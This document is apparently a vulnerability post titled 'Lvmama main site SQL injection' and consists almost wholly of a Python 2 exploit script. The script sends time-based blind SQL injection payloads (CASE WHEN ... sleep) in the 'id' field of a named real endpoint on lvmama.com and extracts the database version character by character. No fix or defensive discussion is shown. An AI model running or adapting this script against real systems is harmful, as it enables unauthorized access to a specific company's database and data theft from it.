驴妈妈主站SQL注入

#!/usr/bin/env python
 #-*-coding:utf-8-*-
 
 import requests
 import time
 
 
 payloads = '0123456789._'
 headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.69 Safari/537.36',
    'Referer': 'http://www.lvmama.com/trip/show/73575'}
 url = 'http://www.lvmama.com/trip/show/ajaxGetHotel'
 res = ''
 
 for i in range(1,20):
  for p in payloads:
   start_time = time.time()
   key = "(case when now()=sysdate() and position({} in @@version)={} then sleep(1*4) else 1 end)".format(p,i)
   data = {'id': key}
   req = requests.post(url, data=data, headers=headers)
   if time.time() - start_time > 4:
    res = res + p
    print "/n" + res + "/n"
    break
   print key
 print "/n/n" + res + "/n"